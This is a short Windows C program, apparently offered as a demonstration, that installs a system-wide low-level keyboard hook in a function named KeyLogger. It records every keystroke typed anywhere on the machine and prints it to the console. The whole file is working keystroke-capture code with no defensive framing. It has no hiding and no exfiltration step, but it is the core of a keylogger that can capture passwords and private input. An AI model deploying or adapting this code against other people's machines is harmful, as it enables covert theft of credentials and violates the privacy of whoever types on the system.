keyboard hook

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

HHOOK hKeyHook;

__declspec(dllexport) LRESULT CALLBACK KeyEvent(int nCode, WPARAM wParam, LPARAM lParam )
{
    BYTE KeyState[256];
    WORD wBuf;
    char ch;

    if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
    {
        KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);

        GetKeyboardState(KeyState);
        ToAscii(hooked.vkCode, hooked.scanCode ,KeyState, &wBuf, 0);

        switch(hooked.vkCode)
        {
            case 9:
                printf("<TAB>");
                break;
            case 13:
                printf("<ENTER>");
                break;
            case VK_BACK:
                printf("<delete>");
                break;
            case VK_DELETE:
                printf("<Suppr>");
                break;
            default :
                ch = (char)wBuf;
                printf("%c", ch);
                break;
        }
    }

    return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}

void MsgLoop()
{
    MSG message;

    printf("[hook clavier en cours ...]\n");

    while (GetMessage(&message, NULL, 0, 0))
    {
        TranslateMessage(&message);
        DispatchMessage(&message);
    }
}

DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
    HINSTANCE hExe = GetModuleHandle(NULL);

    if (!hExe) return 1;

    hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KeyEvent, hExe, NULL);

    MsgLoop();

    UnhookWindowsHookEx(hKeyHook);

    return 0;
}

int main()
{
    HANDLE hThread;
    DWORD dwThread;
    DWORD exThread;

    printf("\n[Exemple de Hook Clavier] by tOnyh2\n");

    hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)KeyLogger, (LPVOID)NULL, NULL, &dwThread);

    return WaitForSingleObject(hThread,INFINITE);
}